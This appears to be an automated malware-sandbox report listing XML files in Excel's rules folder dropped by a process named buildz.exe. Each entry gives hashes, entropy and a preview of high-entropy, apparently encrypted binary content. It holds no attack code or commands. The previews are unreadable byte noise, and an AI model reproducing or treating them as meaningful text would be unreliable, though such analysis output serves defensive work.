SHA-512:	A0FF31DA33FB9541B5F7BB486A88F7577AD9577D9FFF6FFDCAC1D0D38C3F0D0519EDF98924155887E3144E607FD28477715B1CFEC010D28B7CA6290AEE2758D4
Malicious:	false
Reputation:	unknown
Preview:	<?xmlyu.p..)r:..0..Q.O...a............O?).fx..-%.....L.f..F~..n.9.,Nn....\."....f3NC...-....x=....V.V....]...5._}....m....(F..D.([....k.:...4.&...F...XC9&..]\..C.RG3e.v.[.=....).....h.........A^.z>Ej......vvH`7>.....aB.i..,.j.M....,2WQ:...e.I.f.}..d.d.../hj....M.....{...$.>.H=.O.,.ia.C.0..`.'..Rz.r.D..wD..89.1.....8.'=..Z.w...l...r5i...DM1....../..{<..>.....]}..X.X(..9...\|J..r...wI..LP.0`.......e.8.....J.le=..h...{1?..Y.c.].....e][.....s..)n...R....K...r.."s...A..Vc..ex...QX..<..j${t.Oa..S..<2_.P<.....i..m....b..B...y...&........eWU-..y..v-..d+..6.Q..d.YTI,..w}}b./......-X.Q...g....@0...~.[......Zi}5:i.o..{...5..U.r~uc?.a.Y.]..K.+.rW..V....m......u.D.....0...C...p..-..h....j.g.?......p...jN.+j..*+...>...6...c..0......4...%.Y\|.......fit..8.b.o.fX..3..2..$.u.....]>.E.}.K..d[.......)w..p^A.'.I..1Ci.#A&.....&`=...j..(.p..Y.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240031v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	842
Entropy (8bit):	7.7230904947198615
Encrypted:	false
SSDEEP:	24:UPiJjCoq5T7cwKPGZXfoaJGQLb5Wt3aVwxbD:1pIT7Ymg0lH54aChD
MD5:	7F9D0B6F3FDD4066AB51D171230A79DC
SHA1:	7ECE21065752332E43AF3BEF01338733F4C120B5
SHA-256:	96624C4810AF56380B6C2D2003AA3207959716A2F050E8D08F212CC31C699425
SHA-512:	BE3473378A0F23FE87E847381BCEE6B1B4549F28B5A4C6B7F29F2282379A8A457497BD4D1A5BEE21E0A896B4B275DA202A855009FDF3FD84BFB6A6865075EC74
Malicious:	false
Reputation:	unknown
Preview:	<?xml.}..T...R..V.nQG..3A.....U..N..YR.7........".E.....C.ZUx...H...L...(x:.a....X+n.0.[Y.....?...KE..._id...a.Lh.....c..y1Vh..uK..W....4....~y..[....-....W..we. . b.#.E-..,...K.`...^........yi...Y^...D.qV..g.[.P_.d.aI...HC.(O$WK.5...U.....e..>....J..q..>..).Z.".3(.^WX...9Z..J.. 4... #(5..7].....Ec....4.wE..[#>.?$..e......V..k..u.jH.<f..Tx]).'.PBc..;...D..!..../.W...d.....&.B8[.PX..>\|..y.YM.X C....#E.q}U...`p=L..Xs...=._..K..bU...k..}..a.@F.......YN..Uy.Dop....W5.F..-...B..+..C.S.p<.97.....~\0c....pv.{{,A.m3c.q.:.l.).9.M..../...o.3....=.4.._.tN.2....W.o..+..afX5....R.{..E ..C.,I.5.y....E.tnv...6......<{~.shs..6.i....9DC.I...I..*....[...@.x.....[&.[.U....w.7uS..&j0.UK.E.&....'..%-..._.....^.).Q.m:....c.:\.P. f.......Lt....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240032v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1191
Entropy (8bit):	7.803414580599478
Encrypted:	false
SSDEEP:	24:PqcUaph6Z3iPa5f0gbnabh+1ry4u/asPTLgLT8trhxSvPXtXWsnUSLO5FVbD:Pqy76ZB5fnbYM1M14zm+LEFFD
MD5:	202A010C482A6F1EDDB51680896CD0EA
SHA1:	E11FF640FBE6828D85A2E6BE4697A9806CD089E5
SHA-256:	007E403C13F3CF22BE54EB2353D8E58482E305235D24CEDF500FBB3E8DC22B81
SHA-512:	304798B31A2423B5E77618791CD75FBDB06A6E08F9D3E361DFCC4267C9E31FC879594970ACB82E9DC700FFC5203E5787D93B76AC2EE66EEB6A90981BF627E094
Malicious:	false
Reputation:	unknown
Preview:	<?xmlPNF.x$...Y1....7.f.C=......\.O....9.?(..]....Y...c.xC..8.].J.P.lZ....yT..e.5..?=o[...<..)...;.s*....tv..&...].#.R.n..1O......s.....$9.m.fff/.../..I....1G...8..~#.....C.N...~~...b&_)..d.4.zK...S..L%....`...qt.....D.r..H.x.@O.I.X)h....7.....Q`........../P}&....K..Z.Co.k.vl....#..UlW...;_..k...6\|.......U`..KF..\|cVO".Q.].d.vW4.[....x.#3X.m=........<b...d.;a..........W8.M....y.4/.xB..r..x.1`.q..5VK....73..\|..b<v ..Z..zw/.8C...;....l..D....r@A..K.o_."M....>.j.0...mZ:.."B.].o!..&.K........=x..2......py....O........h7..oJ>_.O0..V...v...0...2.G....\|.......6.....^..b.T..R..{.e.G.C...C..7..m......U.>....2U..o..)..3......n..Pg.........nh.#T.....8.Fg..n?.Y../..j.....UZ.^F.[.rk.8.O._~......<..........:bt.&.......!...t.v..x..;]9Q....dYxdd....i9......U.f..\!$&B..8....V..._.r..iWUcv;..#6..U...x>...wyp.....h...S...<...k.U/......u.4...P.!...).t..B..W.-....&.D..6........4..\|.~\0u.v...............pZ`CM=....~pVgX....8.TyL..iJ.$p>4. ....hwo..evU..J.,....;....X...,.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240033v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1366
Entropy (8bit):	7.844923738909137
Encrypted:	false
SSDEEP:	24:spXLHtcdvFTeK3tVR3E8cAFnLVZtVxANuuH5mwy9pKEY36u/8SZsbD:stLtcddqK3tyA3jlAmwy9kEY36ukSZmD
MD5:	886E45E305ACDC9F544B11FB37B15BED
SHA1:	77FB5CB055FAC43A2EE4C7AA2426D85342E744E7
SHA-256:	364AFFDC07F77D0E86BC5FA7713F57690758F34F2543BF0247EE714395B4511E
SHA-512:	4B694FA0F13DE9B4F1963740BA21102341684E7BBA795A57D57C9D8B5A8E71F4970E5E45D73CE094C2E458906B2B7E2EAE0EF5DDD7570524D8E144D5A8489421
Malicious:	false
Reputation:	unknown
Preview:	<?xml..1N......\...#1vc.6"..1..+.<...r.....\|FjC...r.d.Q[qN.....b.p.,w.....h...c[...u.z..#T.{........\|.....A&#+......F.....U(..C.l.A(.&..+D._........3..&7w....D...kI.a[(....cA!..b...-.........X.e.T..k...N\|.9}..0.....M.c..%S.>B....E.L....\|.0.U.......X.Qv..D.5.4wT(-..6.4.q_....d...Wrg\|5..+..7..%..v-..XsxO..`.L..e......U.X.`Lc..]...e.{_m.R...:.+...._....[R.F.....cR..D.f.U.!.FW.s......Z.D1ND..X....Z.z\....3Wst.+0...~NX9'.......S......C..M;S.w.m...a....WR...x.3.w.o..:>m....e..Kj....N.=\WG.4U>.g~.IC....=..-7..e..zr-wb.:#5g..xh%..e&.....A...2.7.P.2.7..8.:.!....W`..).4..f.tH....."..z!...j.]h.3.....pjf..}$...W.`.^:.:1........l.p.......z.w.e...\|(...%.!l....S...W.n\|..1...<p.n.S....E.R..D...9!........c.5......6r1..-.j%..l]...?.>.3;.EJ..@.I<.D~..'.&-.a.`.. .l[y."..\|X..R.X....RS..9j&.*...6.)..k.O.MS=.....J.P...X,.=......+u.Q......f8x.E.Z.-.B...5.].T...5.BVu.e.t.q#....j.....Z?.-..T5...."(Sb.k.-.56.3...k.;..K..'...(vg.........5H..Yv\&H..a+m.u.e.~e<..9G&.pC.f.jd

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240034v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	728
Entropy (8bit):	7.724173020860722
Encrypted:	false
SSDEEP:	12:Fgc0+CQGX69URZoI8RS32vDqohhJGZd3d/whn6YxbnROkhOmtd+nMj+f1+cii9a:F3+jTPoI8222ohTGZ1d/wBJf2mv+y+sX
MD5:	D0F6DD9E1B3FD734BAE178F814F5F949
SHA1:	ABDAE18474FCC5E2D303067FDA41B2CC0C5A38BF
SHA-256:	0F104DCFA5B7F5E8D87F68625AF1D954069199325227299BBFE20CA1F8535FA8
SHA-512:	ED221191694F3D2C933B843DACBB38C4B1C48D8FAAFE6778E1D9EAD99B1E5632EA54296422F26FD087A59042803A970FB0DC95AF7838175C0955AEC81C25F44C
Malicious:	false
Reputation:	unknown
Preview:	<?xml'...B.6T...=....p$...u.`.9....JH.2..e....yl..;..7.VL....5._X12a....u.W.v.k.T..9..O>...'...e..3..'.$:M..9..B.K..'..(=Y.. ..R.C..............N.......=.9..\|....f3.Q.....L.3...x...t2..mA.M[L.`0...S..y..d.....-..$.t.v.c.v.P.+....rk.s3\Y.5.xm...X. f.\...hS......Y..F........w...b...:....H!>\..?.....>.O.....".Ms[N.R# i...i.8..P..4:.(.. Rz.......@5.S.].R...Q.c..W... u...".l.........=..kW.n.9..>.;k-...z[N.M. ..{..=...%...I.}.{`..:.H..qN.?..jL6.2Z.)....)..J#.C.....&Z.K..0.4.S#.G..]Pe.uaU..d..+... p.G.I$k..+.`Pf...........8L...3.....<Z;,WWI......o...o.I".....zkx0V.#.........1.D...74D.OI.......Q.7...P+..^`s....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240038v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1088
Entropy (8bit):	7.791648852769415
Encrypted:	false
SSDEEP:	24:CxvtV96LkpWQ9QFCoehL6MYtbWjpYhmhFy5GiDbD:UtVwgr9yUJ/mbWMcpiXD
MD5:	FAC58869DA63A725AB264379BE661B0B
SHA1:	1B4B11E27F4822B39B4502FCDDAE72F21A634216
SHA-256:	0B68B13E493810AF763D2B43BE87EE1241C4834F481558F62D0326C6CB7BF47F
SHA-512:	84DC2C5DB984C4729F876C5577F5E1C791457D8040649B1B273ACB30C0CCFC3DC86BD7A1360B6ACD0E97AA8EE4B2657DD303CA6CAE11218EE9802AB11F63C952
Malicious:	false
Reputation:	unknown
Preview:	<?xml...._Rhy1JeX..M.0.\|.ZsT.....F$..W.nc.R....'...D...[..]....^v.L....0.0.&..)...1Jc..N.g.1..\......S"....<......A.g.Kq.L_.PI.v..Y0\|.C.>bG}:T.W.7...6..6.h.^..){...7.(F2/.P.....9....g.h..6R..6.s.,_/.<nl......2."N{.=._.....[.Q..m.....6Kj.ZTvPFD.=_"........v. 16..]..qSF.$.0.6....z....]c.O......b.......)..L7+......9..X......P.:.:ZF....3,,H..,@.[>.&..M.um..S..I.c...m.\|......R.0;V.....N.-...T.=...o.U..;..UvzDT...q........3Q.t....._.....+g.x.B{.._?.9.\g..e7e...V%F..T.6:E.9%So...dfw...,e=v...3..Ii+h.b..{...!qKfG..=.Eo.E...w.=A..k.N...T.-.....D.//.)`....u.~]......6.......7..;....f.7!+.-q#E...@..........;6&....A..o..?..j.o:.{. ......d....'nf....k{.k.-...a.Y.cR...z...3......2l.j".y.....j:_7..MM[.M....yP....[.q....4#.S...e'\|..c.9..oE<...K..;...c.u\Lj..7W...8~.. ....q..~ >6B. .....$.."...'PQ.\a.a..s9.(...V..I.o_Gd.\|.#..(Is......$a7..g5._.9AGMP4.....u..".Z.".p....B..Y...eZT..B...U.I..My%......Z.s..d.e...`..'$..pm.b.R...A.4.....#Vl..w.r

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240039v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	999
Entropy (8bit):	7.782238229923906
Encrypted:	false
SSDEEP:	24:BTCXA32NEGhvbbp1APaj2ZqTApNqY0TJb8uI6z1TR2bD:Z4Am2AvsPHATADqY0T5m61RkD
MD5:	5A741D91B092CC47DE164CA420BC8708
SHA1:	20EE8161924332CF9DFD884BAE6D156671673CEE
SHA-256:	28F57AAE5B3AA732704A77C0A77B352CAF3AF21930397F2E25BFED1AD341F7AB
SHA-512:	442A2D40EC811D6878BFE90F18CE56BA50D2A183F589408A82E4FA68715A91B9E4AE883332EC1786ADC324452940F74BF9DC3849B27016892AAA0062CA6ACB61
Malicious:	false
Reputation:	unknown
Preview:	<?xmlo...dw{v....{.<...cVQ.....LNOC.mP.+.nO.....e@........{.:........1........K.p...a.........;S..'.....z.......N.,>W{....7/.g.D.J`0.O!./..x...o.d..XP.{&..j\|6....O.}...'..~%.C..HTi......0w.h.~..jK.j...x..5~.,...P.+...C}.2..E..W.4^.gq\.....g..Kl(&#..x..2..@..../.1U....0i..v...^4o.Iu..%...P....R...`...>i.V.. .....d>..7o.<e.L..e'.QT..s.....Dz.K._...... ....k.Dh+$..!,6..f..(-.$.[.i....yX..:.BL...%....@?..g3.a=.\|E../!...@f.A.....[..Kx..@.[.EG......q.....r.Cy. ..!....MS.n>i...-.c....7.gh..zJ.^M..r...+!......._1{.;xM........Z...."..1.dg.....G.Jw-...f....u."....1V.]Q..y....P..`.....{...+..8N..S.......q.....+.D..Q.*w. .-.cj..y..#...".T..6...?._..r.l......~(....a;...$.....ln...gr.........08!..#.>.....Z)..I..K.4.E.....dbb.,.VK..5...s.q.V.V>.wM(.zSe...P\|....._!....c\|.........Y.5...U.."...W<....ez...<qv..N.W.....g...q..\|.....Jv.X.d_b.... ...."3......M......(vx.l.6".>.`...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule241000v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4446
Entropy (8bit):	7.957503287207541
Encrypted:	false
SSDEEP:	96:6n3z2WbsrWG5tVuSQoyCp+rXroK4AMyWQg/wdhz20JdKR8l:6D2WbytlQipCsKnwCRnkul
MD5:	6D2C8DC466315B321C9491008933FE8B
SHA1:	7858C9B7F7FFCE1F561E288B10862528BFDFF8CE
SHA-256:	36AF35CA68B9A9C2F189E9470409FFC8C5DE6270E7D78267DBAB6655536ECEE0
SHA-512:	4FF8FBFC968D81503F0A529B0670A516B9DC577FEC894AD5B92A837BE782457174A928A54853ACF8C100851B7D71E1CB823BDCA57A47B4E5E2A33CF1825DB199
Malicious:	false
Reputation:	unknown
Preview:	<?xml..)...~.&.(... ......b...R.q.!.+..y.MD.#...YR.P... ...n5.....2..a.....2m$..+O..]W.P.g.2.....z..... .3...sI.S.~c.t......y...>.H}...L7I.['......."(.%,.~....W.......il.......Y p..Z#.G.....&.a.N....fiC5@....X.nq..@z.......3.%...m........D+<.h&a..e......1?k..@.\|.....l...<].DM.......3Z.\.h...G..9j...=...h.?..t.w..[.........Ng..y..tMb6g....9.....ZU.Z8qvie.A.{g....>..z4..._.00d%...........)....Q.D.........;....5yE..S...,]...e.."....M..,............g...>mfaz.....%57"......K..r..f6.$/..E..!]..:.7...99.....t)\.0 i\|...Xg......+v5..g..}..W.Wg..J.Du.h...F6k...}hM..tQ..is+.R{#.l......Y~.......S`O...2..i.,;..U...&.$T+.j..S.m..H....z...M....j....Z.W....f9.t6.@.Z......_.5..2....P{..e..f.>.2$.If..X.[.O....8.U.....>...n2.1}q.....3E.q.\|......o....o.E..W6Y......U..Cj+.7O..Jq?m..R\....A..2S........aKT9.V...h...W....7n...._{...uR..NcS;.M..\|..>.E.o...(.i..?>....2Br8o...%..l^`%`S..Tq...._...=.j..J.W3..W..{..j..#...7.../Z..i.2.%v+O......o*...0.;T.{.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule241001v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2306
Entropy (8bit):	7.917608019744241
Encrypted:	false
SSDEEP:	48:xOJsXV4vvzOpvchfv9njRMX6dvsOiQIlWF7ucHbcVML8UD:xOJsyvrOpE96X69sOklWF75YVML8A
MD5:	0A9910FCBD570DB3AF690CDC37A87D1A
SHA1:	F542F911962FFFDD731F56B9E83A4078B0C26295
SHA-256:	200E2355915F7FE73397BE10913BA5F7D3D15FF63D14016754013B7E8313594F
SHA-512:	D20CC3FA4915419B24392447FF0C757C6EC4611D349DA3FC1D47874A41B918E914656D48A1723868BFC780FDCD07C1A1E060AFE432AC6DE91162435BBDCCA88D
Malicious:	false
Reputation:	unknown
Preview:	<?xml.\..e..E.....nW....!.......VE...(..r.u3.g...5...8.;F.74..E.C..."..O.Hh.n...P.q.(4tD...v....P0.....m..[._. q.............l.9.P3.b.zB.....cWv.(8...6....tD.X%..E..jTj...^..h.s):IN._k...0.H.Oj...1@2..rsb.i...(ns.q....K.Z.[..@}..%....D...L..u..j.K....9......-...r'K...(../h.t.d-..d]X.Zz1....9\...m.....l.{..&_q.X..i...&m.H_.....I..h.m.KeL..6^Z....x&.E.LV.....J..BM.J..A.X.pAj.'.0.k...8.....I....k.?.....+.<..k..Q..n.2.xcQ.e0.6..2#Q.W....k.d{...`:..!.I.V1hS..Q9i\|..l".~........Lk.W.%..0].v.\UP..q>..e...h..d.....q.D..c.>.......gr..tp..?.6$h.u...-.fk..~".^......OXH.0\|..fNv5E4$.Xw....Fa0....z....\|.K....$..."...N...%...-.K..Z.!Q../b%~V.]OPVT.18&.<.HA.....gl.>..-a\|.}.x)....s.....~......Fw..x.....-Z...w5g..-.</N~T.G!WIX.H..&.'..\|.0...2........{.{..n.Y..3....@!P......Rw#F...-.X..).P.. .H$wg.z6UQ.Q..:.....-..f0..Y.....:.D.-.n.....%.S....>f.D..\...I..@.i.A..x.lMv,...H. ?.g..~.p.j...GO.......H.\H..uxG.....o.. .....f)A...F+.......k9.....V.JH..D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule241002v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2376
Entropy (8bit):	7.914094979575916
Encrypted:	false
SSDEEP:	48:pXM98uYFll1/JW8qSVYrTm/JEdnL+IfZLFlAOSKqTqo28a12v+gWD:pXQ8uYDlJEmBEd+IfZLFaOSKqk8arH
MD5:	C56BEC08FD8BC3418F1D864E58FC6503
SHA1:	3CFA6F7D18788B6185EC4D0462C16D85CBDAD387
SHA-256:	6143298BF41CD5BB84B70547B33FF369A172196018156DDD643701F7E980FE25
SHA-512:	C13B95CEA398436F876F76AB6EB706485A7DEE0BF587E49C501BAF7137F1C644A383CD294E973D131CD76D9072E80ABC4BB1E284C98604AD41861AA1F8B3EA03
Malicious:	false
Reputation:	unknown
Preview:	<?xmlC.n>.AI.A..ln:$..u.n.,...<U..b.q......3=#q[...MY.bS......-.R...L..S.,.......p"j....b..~.#......1....L.t.e._..F.\(.H...E\|. .Y.....MG...$.(.7"v.@..o..2...u.....!.J./.v..6..\I..3+H.l..3.TNX_G.Xy.dz.Y.. .....y...q...k..MQ....g...u>C7c.,d:")-.F..Ff.lJU.n#_Y.\|...........h..]...`:.......Mn)...H.....X;2."......^.i..\|C.....~.........H..dY..0...oA.<.].....`%.....{....so..(D.K.i..2'x..[S.....".`'Ve.H......TY..f......q.8......:Sp.\|j....T...>Q]2.....:g..?>db.f.H...Meb./...?8.jFu...!...r.{.@m....f.]E.....G...y:E(......;..T...T.".....{$. ..Aq..T.8!.6..di(. /g..Yk.2...z...yW.U.+..8..$...P.r.....e,..[...s.!.Q....T..Lxj.R3je....M........az+.H<~...3....Q....w..&QF..F^.O~1..J!.....{.....!."E...N.d..B...u..4J....qB.L@C?z`M...w.?0EH.y{....7.Q.~....Jg.h.. ....G.B..<.NB.T.6.=.V.K.T.....1.f.X..F..%[......7..]tG>...x.P2W.\;P~...5\...W/.E..[;;.R.vQ....~..4.;.xB*.D7.X.......PMC..@.#.wB}...jhq.B....d<h.@O.g......8.%.t..~..>..E.".....y...x}.gX..t.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270000v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1043
Entropy (8bit):	7.816640884866578
Encrypted:	false
SSDEEP:	24:corZBYGbfiPvBr/KYmSN7q0pX9twTeKD6ZvheNTi9BWKxzsbD:ViPvAYLdz99twTe3vhwi9XCD
MD5:	2F4C76341D5DB646C2EC1FC8A0E44CFF
SHA1:	E8E794354388F12CAD0FDC7935028C25C00AB532
SHA-256:	6B3BD7122AF01F42631F027D1D438181F0726F9A0433394C352EC71AC761015F
SHA-512:	23F632ADD598AC9B3BE2D94AE2E3BF9B27F56EFD434125853BBCC398CAFE635DD58238DB10710103528E161FAAB0546216754D37787D4349A2FCC6B49D9F9495
Malicious:	false
Reputation:	unknown
Preview:	<?xml6.....`fg.%....v.`)\|..!.dLaQg8IzL6..f.7..h.&....?9...;w..C...m...#.F.3.....j...._o..gj.%..I...xju...q..........Q..@%..v.V.K.p.\U/..p.L....y.t..F...-.....L:........s.O.tU.I.Dj.!{QN4.S\y.{Er.U.b...H.............mkB..c`.U..m...6.u...$J`.K...V......dN$........&.K.;P!8.... ..E...[....fH"..\|.H...W'.!v.qVd.....Ny>.=&{....f.....ZTh.<.?<H.j ....Ey.L.......L.%.....L!.Z.;...N.).k...L.9...X...r..y.P.AS.@...R=N....]..M.\|}).....^sU...}<Zp}o.8.<[..9.."..B...\|3{3Q....+......}.+.GH.......D+d.o..J.C.)..Xt~8......-..6...YgL.o....a.C..r.G...X./..3..............p[..\|....$0.Eg....B.f..Z&}..Mt...k...Q..^.J.Y.QB5..>.jaZq..Ep...j'.<...C+./.....9.......I~C.......{....).'.b.}m..f\|.E-.Rm.ir.+......%..D.W.;<D.^..".K^......8.o..{oR..."...mxk."~b..CP..........$.h.j?...VR..1............z..(.X.M.Qyclfy....L....]e..^..d>..'NZ....@.V#.p....(..0e....=.g..5B5...D..(.W.<m.;._....x.=.PKD..=e...p.b@G."...c.....,#..........k.\|.W..I$..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270001v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	7.762101564085001
Encrypted:	false
SSDEEP:	24:lhMcHfoIKHuihvpNYikQnrfIbK2MqubUxJ17JLr7YDbD:QkoNhvXnZElP+D
MD5:	DF0BAD7F0752925EECBE2EE3F7E0E754
SHA1:	FD206DADBD7570D97C29810965A46C047C1DCCB4
SHA-256:	76A855856993710E756838055C8ECCD6B19B0713E35886B3293C22456B1C8C4A
SHA-512:	D4C1105AD52C9B5BB1BD0142956BDD11E1E700E7695CC938509574E5F0F5E9CC46F576FB4788C3775912C726828A766A3A9A7929BA4441CD6589B054E2EEE5A9
Malicious:	false
Reputation:	unknown
Preview:	<?xml1.S.......J)h..4^.i.]P.A.U.?.U..o.....W..\|...^E/.p.....G-[..S....7.}.G.4.[.........b..i........Y\.....q}...4....f..../.m...+C..[P.Lp.r.W....N...F..&....`wx6...a...!...L..e.....K.+.t...R...9....S.jY....8..=zP...uHs.l..R....[.e4.p........-..e'OcVd.:.z.i,......H.m..)O.X.6."H..a%..@)@.....0+.............+N...T.-0.......}Km...3^..........V.9..S.._G..A9Vka6.e.3u.-#.{........L..+YK..o0.87"g.....Xl...7z..l...Fw..(3....6.&..J5.4EJ.G..7....Uk&.ig..Yr1.lL...H..2\|...}..cf.':L>...D.f....~......wY.La.?q3.'.a:y...;...I#..&....k.J....JP.]..X.....A..cfRi.w..2.....~......?.&.LoF.@...tu;6....U.+...rZ..*.6'..........B.;.r.....s..$..........@..J[:~P...{...B.....i#.IA8r.Z$K.e/.<.K/...o..7H5I.<....s.U..4j!}..&..._0l......v..]t......IuT...Yk.u.."?.W.o3....4E$/..8n.EC"..j....b...,W".x{.x.a...Z.x..@..w..e_p;.......~M....Z..#E....mo.BT9..r_..8SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270002v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1126
Entropy (8bit):	7.811436580313244
Encrypted:	false
SSDEEP:	24:6fAFWi4FmktOAQZ3Y7C5nK95q2avy8sbdCpo5+Q/NxyRbD:Is/A7C5n65ayvbYpJQ/PyBD
MD5:	F696A7F16AD4B1BA2409506B3BBF13DC
SHA1:	0D83C92F379D0306235FCD366C6EA62AED83186E
SHA-256:	4800FD6F668F16CAD82DCB755A49F8363608E9C43728FF2F98AE6D430F343B80
SHA-512:	AB42897F710807F68C7319F28133607F4902B359B0E932CC624715A7FB7580C489B57C9AB22F7FDCB11B360B04B411A0F070134BB29CD56DFF6A553820371D1E
Malicious:	false
Reputation:	unknown
Preview:	<?xml..\l&.e9..-x.2....."/..;.qIo.n.......=].2.gbi.......I.W......`.M.........$.E.=.....k.M{..i.P...~..<..o...3.X...;.b.C.B..d..........C..)2.;Q....o..T@...."j....1.!w1~.....k....oe..L.bwy_..(..d0...g......`.....b.Bi..OY}..j.4....!..X.42..>...]T."g.y.}`......&...D.....Qv.O.ez.B....jvU...x>'^.../....nq...}.:..W4..M.5..=-...m.Jt...W.....r..\|...-I.....N...6...vtr)...W8...A.1..Y.j..K..@..n.....herS....C.o.(/.b.g,\...Sk&....L`_.n4.....;<......5.a.{......z.......f.wX}...`z.!..i..Z..N..)y...`........E....S..)......-Su..."$...C.O.#..;.u.:.X.0...E.d....k.X..X..uD...c......)'y.^...e_1.Oa\..R....~..N......#...D..2..B.B.u....H..7q.......k,..U...k...k..U([.:Gcy?.....u.......%)1(F....SEJ.8....>..T...'8..~...C.de......f..'U........Y....F?m.%.u.\|l...1....K.&.zN-..&Q..l...E..Z`./\..I...mA.1N..........9....+.U....c..*_..z......e.]....4...D.iq.......}sHW.%c....N.Q...f&.t,)..w.d../..r..B.:.]..E[...Y.[.....v..ko.eO...b.h..../\|....Y.8.Zl....n......{..U..""%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270003v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1662
Entropy (8bit):	7.898088376256824
Encrypted:	false
SSDEEP:	48:/7KAJayiknn4wRCSh/N2Zmp18jE26NqZBXD:3J7iknn4WD184bQP
MD5:	B86512613117DAE17CF6D6656A1DF169
SHA1:	364F6EE594AB6047B8CD8057DDB9649044417B69
SHA-256:	CC8BFA908573DFE7EBB9ECE3517B4DE1435742FF56881AF3306D0E30DBEB8C26
SHA-512:	DC70A82775AEC05C4F897C4234D60F4665893F22B27A8278D1712B1ADCD8BB3BB3983D0242BAB9150D1F2EFA142ADE8EED285D55E999A31DFA3B8D44CB551DF1
Malicious:	false
Reputation:	unknown
Preview:	<?xml.rd... {c..hW.....Q.(\|^..4..WS.U..o.4....\s..u....l5....UX..9...6.=V...>...[........2.O.x..B.e.......S..F.....c..vn_.G.8B@.......O..z...u...R..$c..9....b.67l.(..6..).......3}9UV.w.S7em#.s...,n..m.p..r..El......dv!L.s.9SCJ6..L....{...F....\/m......g.......,./Z.I......x.ok.T=."6~+p...v.y......]...#..q....F.S=.dG.........N.R......v....x<QT.....N....;.{H.we.p....s...#.VB..x>...{7d".!...v.....A.w..1\|Y.~b...M.&...=#.L)...Y.h."_J.aa...Hn...mI..'...~..O..,.v.......L~...7_....VO...V.<:o%`'..z....Ni.]}K.TKU...M.n.0..r.s.-h;D..".X.L.D.....CQ.4d.h..^.-\|N....-x.........._..A..O......lC..............5Y..<..}.....P...t)....HX. . 3U^....)U....&..3t.1....T.....[5.V.4..r.Y]..~E ...\|F.5....<.i.......z#.v....{.2....+m.E...!GIzE.O.....T...7.D...._.....6I.......E..Uk..*..e.....}0.im..U.f.n.H.'....w....._.L./H....P.k..3.......c.l..q>Lu........)?.JL.\|+..L\|.......4.yF!?=.uj..Aj....PA..".q..C..fk..d..I+..I>\.6.3....7_..l...{.x.W..@ir6.....c,.F..pgP

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270004v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	831
Entropy (8bit):	7.730411120113276
Encrypted:	false
SSDEEP:	24:CgxbRKYl0yWMmL7EolkLfc2GqDemLGAifu9jl6foJWsQDbD:dRKWKL/afc2GJmLriyptWs2D
MD5:	4A209C777442CA346CC118E0A2B62C98
SHA1:	0C0236D80960D523ADCF6E99473BEF36C652EEFB
SHA-256:	EC06D5D88A909F4D3BCFC30B5E1CE09E23F88EA8FBAB5F0E451FD6CBC1A61791
SHA-512:	9A1C321AA1F2249D2277A03AD4B7DF0D50D068DA99A60F8BB6D1046A1FA756A1DD418922AF4DFC1A8B030345D72E6F0FEC8ED8443348D39EAFB216DA3D6EE1FA
Malicious:	false
Reputation:	unknown
